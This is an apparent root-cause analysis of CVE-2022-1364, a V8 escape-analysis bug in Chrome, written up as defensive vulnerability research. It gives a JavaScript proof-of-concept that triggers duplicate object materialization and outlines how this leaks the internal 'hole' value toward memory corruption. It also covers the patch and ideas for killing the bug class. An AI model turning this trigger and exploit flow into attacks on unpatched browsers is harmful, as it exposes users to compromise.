🤬
  • ■ ■ ■ ■ ■ ■
    0day-RCAs/2022/CVE-2022-1364.md
     1 +# CVE-2022-1364: Inconsistent Object Materialization in V8
     2 +*Samuel Groß, V8 Security*
     3 + 
     4 +## The Basics
     5 + 
     6 +**Disclosure or Patch Date:** 14 April 2022
     7 + 
     8 +**Product:** Google Chrome
     9 + 
     10 +**Advisory:** https://chromereleases.googleblog.com/2022/04/stable-channel-update-for-desktop_14.html
     11 + 
     12 +**Affected Versions:** 100.0.4896.79 and previous
     13 + 
     14 +**First Patched Version:** 100.0.4896.127
     15 + 
     16 +**Issue/Bug Report:** https://bugs.chromium.org/p/chromium/issues/detail?id=1315901
     17 + 
     18 +**Patch CL:** https://chromium.googlesource.com/v8/v8/+/8081a5ffa7ebdb0e5b35cf63aa0490ad3578b940
     19 + 
     20 +**Bug-Introducing CL:** N/A
     21 + 
     22 +**Reporter(s):** Clément Lecigne of Google's Threat Analysis Group
     23 + 
     24 +## The Code
     25 + 
     26 +**Proof-of-concept:**
     27 +function foo(bug) {
     28 + function C(z) {
     29 + Error.prepareStackTrace = function(t, B) {
     30 + return B[z].getThis();
     31 + };
     32 + let p = Error().stack;
     33 + Error.prepareStackTrace = null;
     34 + return p;
     35 + }
     36 + function J() {}
     37 + var optim = false;
     38 + var opt = new Function(
     39 + 'a', 'b', 'c',
     40 + 'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
     41 + 'g++;'.repeat(70));
     42 + var e = null;
     43 + J.prototype.d = new Function(
     44 + 'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
     45 + J.prototype.a = new Function('a', 'a.b(0,a)');
     46 + J.prototype.b = new Function(
     47 + 'a', 'b',
     48 + 'b.c();if(a){' +
     49 + 'g++;'.repeat(70) + '}');
     50 + J.prototype.c = function() {
     51 + if (optim) {
     52 + var z = C(3);
     53 + var p = C(3);
     54 + z[0] = 0;
     55 + e = {M: z, C: p};
     56 + }
     57 + };
     58 + var a = new J();
     59 + // jit optim
     60 + if (bug) {
     61 + for (var V = 0; 1E4 > V; V++) {
     62 + opt(0 == V % 4 ? 1 : 4, a, 1);
     63 + }
     64 + }
     65 + optim = true;
     66 + opt(1, a, 1);
     67 + return e;
     68 +}
     69 + 
     70 +e1 = foo(false);
     71 +console.log(e1.M === e1.C); // prints true.
     72 +e2 = foo(true);
     73 +console.log(e2.M === e2.C); // should be true as above but prints false.
     74 + 
     75 +**Exploit sample:**
     76 +N/A
     77 + 
     78 +**Did you have access to the exploit sample when doing the analysis?**
     79 +Yes
     80 + 
     81 +## The Vulnerability
     82 + 
     83 +**Bug class:**
     84 +Inconsistent object materialization.
     85 + 
     86 +**Vulnerability details:**
     87 +Prerequisite: escape analysis and materialization
     88 +- When escape analysis removes an allocation (because it doesn’t escape), it still needs to keep the information necessary for reconstructing (“materializing”) the object at runtime.
     89 +- There are currently two reasons for materialization: (1) Deoptimization, in which case all objects must be materialized as they are needed by the interpreter, and (2) the OptimizedFrame::Summarize function for collecting stackframe information, in which case the function and the `this` object must be materialized as they are exposed to JS (e.g. through the `getThis` method). Case (2) can be triggered for example through the Error constructor.
     90 +- In case (2), the optimized function is not deoptimized. As such, when collecting the stacktrace multiple times for the same activation, the same object (e.g. `this`) is materialized multiple times, which is observable. This is a documented correctness bug.
     91 +- There are other, related correctness bugs due to this logic. For example, if the materialized `this` is modified, the changes are not reflected in the optimized code. See Appendix 2 for an example of this issue
     92 + 
     93 +The security bug:
     94 +- In certain scenarios, when the escape analysis dematerializes an ArgumentsObject, it keeps the backing store (which contains the function’s arguments in a FixedArray) of the object alive. With the PoC in Appendix 1, this happens because the backing store allocation is used by a LoadElement operation with dynamic index due to the `return arguments[a]` statement. As such, escape analysis concludes that the ArgumentsObject can be dematerialized, but its backing store cannot.
     95 +- This in combination with the correctness bug described above results in a security bug: by using an `arguments` object as `this` value for a call, then materializing it multiple times using the stack capturing mechanism, multiple ArgumentsObjects are created which all share the same backing store. This violates the V8 invariant that backing stores are never shared, except if they are copy-on-write.
     96 +- This can then be used to leak the internal “hole” value: by deleting an entry from one arguments object (which will then transition from PACKED to HOLEY elements type), then reading it from the other (which still has PACKED elements type), the “hole” is returned to JS code
     97 +- The “hole” can then be exploited as described in crbug.com/1263462
     98 + 
     99 + 
     100 +**Patch analysis:**
     101 +The patch marks the `this` object as escaping, thus preventing it from being dematerialized in the first place. A follow-up patch (https://chromium.googlesource.com/v8/v8/+/add8811019a1f2015c4214c20df8e6e8d4a864bb) forbids materialization during OptimizedFrame::Summarize.
     102 + 
     103 +**Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:**
     104 +Could've been found as a variant of [CVE-2021-21195](https://bugs.chromium.org/p/chromium/issues/detail?id=1182647) or through (differential?) fuzzing.
     105 + 
     106 +**(Historical/present/future) context of bug:** See above.
     107 + 
     108 +## The Exploit
     109 + 
     110 +(The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).)
     111 + 
     112 +**Exploit strategy (or strategies):**
     113 +The bug can be used to create two or more JSArgumentsObjects that all point to the same backing store.
     114 + 
     115 +**Exploit flow:**
     116 +A situation in which two array-like objects point to the same backing store can be exploited to leak the "hole" value as described above. From there, memory corruption can be achieved as described in crbug.com/1263462
     117 + 
     118 +**Known cases of the same exploit flow:**
     119 +[CVE-2021-38003](https://bugs.chromium.org/p/chromium/issues/detail?id=1263462) had exploited access to the "hole" in the same way.
     120 + 
     121 +**Part of an exploit chain?**
     122 +Unknown but likely.
     123 + 
     124 +## The Next Steps
     125 + 
     126 +### Variant analysis
     127 + 
     128 +**Areas/approach for variant analysis (and why):**
     129 +In general issues where escape analysis incorrectly marks an object as not-escaping. More specifically, other cases where objects are materialized multiple times which may lead to inconsistent state.
     130 + 
     131 +**Found variants:**
     132 +See https://bugs.chromium.org/p/chromium/issues/detail?id=1315901#c65
     133 + 
     134 +### Structural improvements
     135 + 
     136 +What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?
     137 + 
     138 +**Ideas to kill the bug class:**
     139 +Forbid double-materialization of objects (the known correctness bug), which ultimately allows this class of issues to occurr in the first place. This is effectively what the follow-up patch did.
     140 + 
     141 +**Ideas to mitigate the exploit flow:**
     142 +It's likely not realistic to prevent leakage of the "hole" when backing stores are accidentally shared as array access is very performance sensitive. However, exploiting access to the "hole" can be mitigated by explicitly checking for it, as done in https://chromium.googlesource.com/v8/v8/+/66c8de2cdac10cad9e622ecededda411b44ac5b3
     143 + 
     144 +**Other potential improvements:**
     145 + 
     146 +### 0-day detection methods
     147 + 
     148 +What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**?
     149 + 
     150 +## Other References
     151 + 
Please wait...
Page is in error, reload to recover